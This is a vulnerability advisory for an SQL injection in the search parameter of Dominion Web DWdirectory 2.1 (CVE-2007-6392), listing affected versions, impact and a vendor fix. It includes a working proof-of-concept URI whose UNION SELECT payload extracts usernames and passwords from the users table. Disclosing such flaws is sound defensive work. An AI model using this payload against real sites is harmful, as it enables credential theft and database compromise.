Dominion Web DWdirectory Search Parameter SQL Injection Vulnerability

Bugtraq ID:	26779
Class:	Input Validation Error
CVE:	CVE-2007-6392
Remote:	Yes
Local:	No
Published:	Dec 09 2007 12:00AM
Updated:	May 07 2015 05:34PM
Credit:	t0pP8uZz discovered this vulnerability.
Vulnerable:	Dominion Web DWdirectory 2.1
Not Vulnerable:	Dominion Web DWdirectory 2.1.1

Dominion Web DWdirectory Search Parameter SQL Injection Vulnerability

Dominion Web DWdirectory is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

This issue affects DWdirectory 2.1 and prior versions.

Dominion Web DWdirectory Search Parameter SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following proof-of-concept URI is available:

http://www.example.com/search?search=null'+and+1=2+UNION+ALL+SELECT+concat(username,char(58),password),2,3,4+FROM+users/**/LIMIT/**/0,1/*&submit=Search

Dominion Web DWdirectory Search Parameter SQL Injection Vulnerability

Solution:
The vendor released an update to address this issue. Please see the references for more information.

Dominion Web DWdirectory Search Parameter SQL Injection Vulnerability

References:

• Dominion Web DWdirectory Homepage (Dominion Web)
  
• DWdirectory version 2.1.1 released (Dominion Web)